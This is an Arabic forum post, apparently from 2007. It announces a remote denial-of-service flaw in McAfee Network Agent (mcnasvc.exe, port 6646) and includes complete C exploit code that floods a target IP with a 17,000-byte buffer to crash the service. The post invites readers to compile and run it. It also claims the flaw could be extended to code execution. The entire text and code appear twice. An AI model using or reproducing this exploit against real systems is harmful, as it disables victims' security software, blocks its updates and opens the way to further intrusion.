ammdeb
21-06-2007, 11:25 AM
ثغرة أمنية جديدة في طقم الحماية لشركة مكافي او كما هو اسمها مكافي سيكيورتي سنتر
وجدنا الثغره في برنامج وكيل الشبكة Mcafee Network Agent وهو البرنامج المسؤل عن فتح
المنفذ 6646 في الجهاز لتلقي اي معلومات من شبكة مكافي او تحديث او مشاركة ملفات مختلفه
الثغره تحدث في معالجة حزم البيانات المدخلة من خلال منفذ 6646 وفي مرحله متقدمة يبحث البرنامج
عن بيانات الجهاز المتصل وهو يتوقع وجدوها بداخل الحزمة المرسلة ويضع خيارين لاستلمها
اما ان يكون معرف الجهاز المتصل مكون من أرقام وهو يمثل IP او يكون مكون من حروف ويمثل مجال
انترنت ولكن في الخطأ هو استخدام رموز اخرى لا تقع ضمن الارقام من 1-9 او الحروف من a-z
ومثال على ذلك ترميز FF بالهكس ويحدث بعد ذلك خطأ في البرنامج ويتم غلقة بعد ظهور رسائل النظام
ملاحظات: الى الآن تعتبر الثغرة خطيرة فهي تمكن عن طريق IP فقط اغلاق برنامج شبكة مكافي ومنع التحديثات
ولكن توصلنا لطريقة تغيير مجرى تنفيذ البرنامج ولكن الى عنوان غير ثابت ومعنى ذلك امكانية تشغيل اكواد ضارة
لتجربة الثغرة , قم بتخزين البرنامج التالي وطريقة عملة بسيطة يتطلب رقم الآي بي مثال JcMc10.exe 190.160.24.1
البرنامج هنا JcMc10.exe
كود الاستغلال:
/////////////////////////////////////////////////////
// Mcafee Network Agent (mcnasvc.exe) Remote DoS
// By JAAScois [ http://www.jaascois.com ]
// Teston [ mcnasvc.exe ver1.0.178.0 ]
// Path [C:\Program Files\Common Files\McAfee\MNA]
// Port: [6646]
/////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int main (int argc, char *argv[]){
struct sockaddr_in tcp;
static SOCKET sock;
int ii=0;
unsigned char buf[17000];
WSADATA wsaData;
// packet
for(ii=0;ii<17000;ii++){
buf[ii]=0x90;
}
printf("[>>] Mcafee Network Agent (mcnasvc.exe ver 1.0.178.0) Remote DoS \n");
printf("[>>] By JAAScois [ http://www.jaascois.com ] \n");
printf("[>>] +\n");
printf("[>>] +\n");
if(argc<2){
printf("[>>] Usage:%s 190.160.24.1\n",argv[0]);
return 1;
}
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("[>>] WSAStartup failed !\n");
return 1;
}
sock=socket(AF_INET,SOCK_STREAM,0);
tcp.sin_addr.s_addr = inet_addr(argv[1]); // IP
tcp.sin_family = AF_INET;
tcp.sin_port=htons(6646);
if(connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in))==SOCKET_ERROR){
printf("[>>] connect failed !\n");
return 1;
}
send(sock,(char*)buf,17000,0);
printf("[>>] exploit sent successfully [%s]\n" , argv[1]);
closesocket(sock);
return 0;
}
وجدنا الثغره في برنامج وكيل الشبكة Mcafee Network Agent وهو البرنامج المسؤل عن فتح
المنفذ 6646 في الجهاز لتلقي اي معلومات من شبكة مكافي او تحديث او مشاركة ملفات مختلفه
الثغره تحدث في معالجة حزم البيانات المدخلة من خلال منفذ 6646 وفي مرحله متقدمة يبحث البرنامج
عن بيانات الجهاز المتصل وهو يتوقع وجدوها بداخل الحزمة المرسلة ويضع خيارين لاستلمها
اما ان يكون معرف الجهاز المتصل مكون من أرقام وهو يمثل IP او يكون مكون من حروف ويمثل مجال
انترنت ولكن في الخطأ هو استخدام رموز اخرى لا تقع ضمن الارقام من 1-9 او الحروف من a-z
ومثال على ذلك ترميز FF بالهكس ويحدث بعد ذلك خطأ في البرنامج ويتم غلقة بعد ظهور رسائل النظام
ملاحظات: الى الآن تعتبر الثغرة خطيرة فهي تمكن عن طريق IP فقط اغلاق برنامج شبكة مكافي ومنع التحديثات
ولكن توصلنا لطريقة تغيير مجرى تنفيذ البرنامج ولكن الى عنوان غير ثابت ومعنى ذلك امكانية تشغيل اكواد ضارة
لتجربة الثغرة , قم بتخزين البرنامج التالي وطريقة عملة بسيطة يتطلب رقم الآي بي مثال JcMc10.exe 190.160.24.1
البرنامج هنا JcMc10.exe
كود الاستغلال:
/////////////////////////////////////////////////////
// Mcafee Network Agent (mcnasvc.exe) Remote DoS
// By JAAScois [ http://www.jaascois.com ]
// Teston [ mcnasvc.exe ver1.0.178.0 ]
// Path [C:\Program Files\Common Files\McAfee\MNA]
// Port: [6646]
/////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int main (int argc, char *argv[]){
struct sockaddr_in tcp;
static SOCKET sock;
int ii=0;
unsigned char buf[17000];
WSADATA wsaData;
// packet
for(ii=0;ii<17000;ii++){
buf[ii]=0x90;
}
printf("[>>] Mcafee Network Agent (mcnasvc.exe ver 1.0.178.0) Remote DoS \n");
printf("[>>] By JAAScois [ http://www.jaascois.com ] \n");
printf("[>>] +\n");
printf("[>>] +\n");
if(argc<2){
printf("[>>] Usage:%s 190.160.24.1\n",argv[0]);
return 1;
}
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("[>>] WSAStartup failed !\n");
return 1;
}
sock=socket(AF_INET,SOCK_STREAM,0);
tcp.sin_addr.s_addr = inet_addr(argv[1]); // IP
tcp.sin_family = AF_INET;
tcp.sin_port=htons(6646);
if(connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in))==SOCKET_ERROR){
printf("[>>] connect failed !\n");
return 1;
}
send(sock,(char*)buf,17000,0);
printf("[>>] exploit sent successfully [%s]\n" , argv[1]);
closesocket(sock);
return 0;
}